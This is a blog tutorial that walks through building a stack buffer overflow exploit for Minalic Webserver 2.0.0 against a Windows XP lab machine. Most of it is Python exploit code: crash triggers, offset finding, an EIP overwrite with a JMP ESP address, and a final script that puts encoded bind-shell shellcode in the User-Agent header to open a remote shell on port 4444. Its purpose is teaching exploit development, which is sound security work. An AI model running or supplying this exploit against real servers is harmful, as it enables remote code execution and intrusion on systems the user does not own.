Minalic Webserver v2.0.0 GET Request Buffer Overflow

Minalic Webserver v2.0.0 GET Request Buffer Overflow

Overview on crafting the exploit for a buffer overflow affecting Minalic Webserver v2.0.0

Again as part of tutoring students from the degree, they were given an application which was vulnerable to a type of buffer overflow. This post is how I was able to exploit the vulnerability in the Minalic Webserver 2.0.0.

The vulnerable application can be downloaded from here: http://www.exploit-db.com/wp-content/themes/exploit/applications/2b0e04c048c9b84b12f742ae38136de6-minalic.zip

From my research about the vulnerability prior to beginning fuzzing the application, I learnt the vulnerability is in long GET requests. I’m using a Windows XP Pro SP2 EN machine virtual machine as my target system for this blogpost. I began writing a python code which should be able to trigger the crash in the application, I do not need to fuzz the application since the application comes with the source files used to compile application into it’s executable form. The vulnerability occurs because in the common.h for the webserver, we can see that the defined size of a file plus path is 256 bytes.

/* Maximum size of a phisical file and path name*/
#define FILE_SIZE 256
#/usr/bin/python
import socket
 
buffer = "\x41" * 240
host = "192.168.3.246"
payload = "GET /" + buffer + " HTTP/1.1\r\n" + "Host: " + host + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 8080))
s.send(payload)

I found that 253 bytes sent as a buffer would crash the application, with this application I began with 4 bytes greater than the maximum allowed but the application didn’t crash, so I worked my way down reducing the buffer length as I went until the crash occurred.

As you can see though, the application has crashed and the EIP register has successfully been overwritten by A’s. Next step we’ll take is to attempt to identify the offsets of registers in our buffer at the time of the initial crash, this is done by generating a 240 byte string using the pattern_create.rb tool.

#/usr/bin/python
import socket
 
buffer = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9"
host = "192.168.3.246"
payload = "GET /" + buffer + " HTTP/1.1\r\n" + "Host: " + host + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 8080))
s.send(payload)

We can see our registers now contain the unique buffer string, we can take the bytes in pointed to by the registers to work out the offsets using pattern_offset.rb.

  • EIP = 41376841 (offset: 231)
  • ESP = 68413868 (offset: 235)
  • EBP = 36684135 (offset: 227)

The offsets reveal something very interesting, we don’t have enough room for shellcode! This is because the EIP register is pointing too 4 bytes and the ESP register is pointing to the 4 bytes after the EIP register has been overwritten and the EBP register is pointing to the 4 bytes before the EIP register is overwritten. At this current stage I decided I would overwrite the EIP register with a JMP ESP instruction to have the execution jump to whether the ESP register is pointing too and then have another jump instruction which would take a relative jump to a memory location. I plan to get my shellcode I wanted to be executed. But the question still remains how do I get my shellcode onto the stack to be executed? After some thinking I decided to try and use another field in my GET request which would allow me to put my shellcode into, such as the User-Agent field. The reasoning for this is because shellcode length can vary and the User-Agent field does not have a length specific size limitation defined in the RFC. Looking at the src file again, common.h, we can see that the maximum size of any HTTP request to the server is 2048 bytes.

/* Max size of a http request header*/
#define HEADER_SIZE 2048

This means the length for our User-Agent field is the following equation.

http request (2048) - request method (20) - directory/file name (256) = 1772 bytes for the User-Agent field

In this next stage of the exploit development I’ve gone back to make sure I can successfully overwrite the registers and gain control of the application. The first part of this was to find a JMP ESP instruction, which was found at 0x77d8af0a in the user32.dll.

#/usr/bin/python
import socket
 
EIP = "\x0a\xaf\xd8\x77" # 0x77D8AF0A, JMP ESP, USER32.dll
ESP = "\xcc\xcc\xcc\xcc"
 
buffer = "\x41"*231 + EIP + ESP
host = "192.168.3.246"
agent = "User-Agent: " + "\x42"*800
payload = "GET /" + buffer + " HTTP/1.1\r\n" + "Host: " + host + "\r\n" + agent + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 8080))
s.send(payload)

As you can see in the above screenshot, the EIP register is pointing to the first of the 4 “\xcc” and as well as close by are the B’s which were put onto the stack via the User-Agent field, at this point we need to check what the offset is in our User-Agent field, time for pattern_create.rb and pattern_offset.rb again.

#/usr/bin/python
import socket
 
EIP = "\x0a\xaf\xd8\x77" # 0x77D8AF0A, JMP ESP, USER32.dll
ESP = "\xcc\xcc\xcc\xcc"
shellcode = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba"
 
buffer = "\x41"*231 + EIP + ESP
host = "192.168.3.246"
agent = "User-Agent: " + shellcode
payload = "GET /" + buffer + " HTTP/1.1\r\n" + "Host: " + host + "\r\n" + agent + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 8080))
s.send(payload)

We can see in the stack window that the offset points to 41367441, which is 588 bytes into the shellcode buffer. This means we need to pad the shellcode buffer so the shellcode is placed onto the stack in the correct offset so when we perform the jumps (jumping the EIP to the ESP and have the ESP jump the EIP again to the shellcode) we land in the correct place. We need to determine how far that jump that will be written to the ESP register needs to be, which is easily enough calculated by the distance of where we want to end up in memory minus where we are currently in memory. Again let us update the exploit to reflect this new information.

#/usr/bin/python
import socket
 
EIP = "\x0a\xaf\xd8\x77" # 0x77D8AF0A, JMP ESP, USER32.dll
ESP = "\xeb\x0a\x90\x90"
shellcode = "\xcc"*600 + "\x42"*600
 
buffer = "\x41"*231 + EIP + ESP
host = "192.168.3.246"
agent = "User-Agent: " + shellcode
payload = "GET /" + buffer + " HTTP/1.1\r\n" + "Host: " + host + "\r\n" + agent + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 8080))
s.send(payload)

As you can see this new information allowed us to overwrite the EIP register with a JMP ESP instruction which jumped the execution flow to where the ESP register is pointing, the ESP register contained a short jump of 10 bytes instruction which jumped over the applications instructions and landed into the end of the “\xcc” in the shellcode buffer. The reason why I put in next “\xcc” is because this will be turned into a NOP sled (“\x90”) and a extra few bytes will allow for padding. It is time to put in the shellcode which will when executed by the vulnerable application start a bind shell listening locally on port 4444.

#/usr/bin/python
import socket
 
EIP = "\x0a\xaf\xd8\x77" # 0x77D8AF0A, JMP ESP, USER32.dll
ESP = "\xeb\x0a\x90\x90"
 
# msfpayload windows/shell/bind_tcp LPORT=4444 R | msfencode -b "\x0a\x0d\x00\xff"
# [*] x86/shikata_ga_nai succeeded with size 325 (iteration=1)
shellcode = ("\xbe\x7c\x6c\x16\xce\xda\xd7\xd9\x74\x24\xf4\x5f\x2b\xc9" +
"\xb1\x4b\x31\x77\x14\x83\xc7\x04\x03\x77\x10\x9e\x99\xea" +
"\x26\xd7\x62\x13\xb7\x87\xeb\xf6\x86\x95\x88\x73\xba\x29" +
"\xda\xd6\x37\xc2\x8e\xc2\xcc\xa6\x06\xe4\x65\x0c\x71\xcb" +
"\x76\xa1\xbd\x87\xb5\xa0\x41\xda\xe9\x02\x7b\x15\xfc\x43" +
"\xbc\x48\x0f\x11\x15\x06\xa2\x85\x12\x5a\x7f\xa4\xf4\xd0" +
"\x3f\xde\x71\x26\xcb\x54\x7b\x77\x64\xe3\x33\x6f\x0e\xab" +
"\xe3\x8e\xc3\xa8\xd8\xd9\x68\x1a\xaa\xdb\xb8\x53\x53\xea" +
"\x84\x3f\x6a\xc2\x08\x3e\xaa\xe5\xf2\x35\xc0\x15\x8e\x4d" +
"\x13\x67\x54\xd8\x86\xcf\x1f\x7a\x63\xf1\xcc\x1c\xe0\xfd" +
"\xb9\x6b\xae\xe1\x3c\xb8\xc4\x1e\xb4\x3f\x0b\x97\x8e\x1b" +
"\x8f\xf3\x55\x02\x96\x59\x3b\x3b\xc8\x06\xe4\x99\x82\xa5" +
"\xf1\x9b\xc8\xa1\x36\x91\xf2\x31\x51\xa2\x81\x03\xfe\x18" +
"\x0e\x28\x77\x86\xc9\x4f\xa2\x7e\x45\xae\x4d\x7e\x4f\x75" +
"\x19\x2e\xe7\x5c\x22\xa5\xf7\x61\xf7\x69\xa8\xcd\xa8\xc9" +
"\x18\xae\x18\xa1\x72\x21\x46\xd1\x7c\xeb\xef\x20\x58\x47" +
"\x78\x40\x5e\x79\x24\xcd\xb8\x13\xc4\x9b\x13\x8c\x26\xf8" +
"\xab\x2b\x58\x2b\x80\xe4\xce\x64\xce\x33\xf0\x75\xc4\x17" +
"\x5d\xde\x8f\xe3\x8d\xdb\xae\xf3\x9b\x4c\xa6\x64\x51\x1c" +
"\x85\x15\x66\x35\x7f\xd6\xf2\xb1\xd6\x81\x6a\xbb\x0f\xe5" +
"\x34\x44\x7a\x7d\xfc\xd0\xc5\xea\x01\x34\xc6\xea\x57\x5e" +
"\xc6\x82\x0f\x3a\x95\xb7\x4f\x97\x89\x6b\xda\x17\xf8\xd8" +
"\x4d\x7f\x06\x06\xb9\x20\xf9\x6d\x3b\x1d\x2c\x48\xb9\x57" +
"\x5a\xb8\x01")
 
buffer = "\x41"*231 + EIP + ESP
host = "192.168.3.246"
agent = "User-Agent: " + "\x90"*600 + shellcode
payload = "GET /" + buffer + " HTTP/1.1\r\n" + "Host: " + host + "\r\n" + agent + "\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, 8080))
s.send(payload)

As you can see in the above screenshots we were able to jump into the end of the NOP sled which I had paused right before the shellcode was to be executed, and after executed a port was listening on 4444 which is the bind shell.


© 2021. All rights reserved.

Powered by Hydejack v9.1.6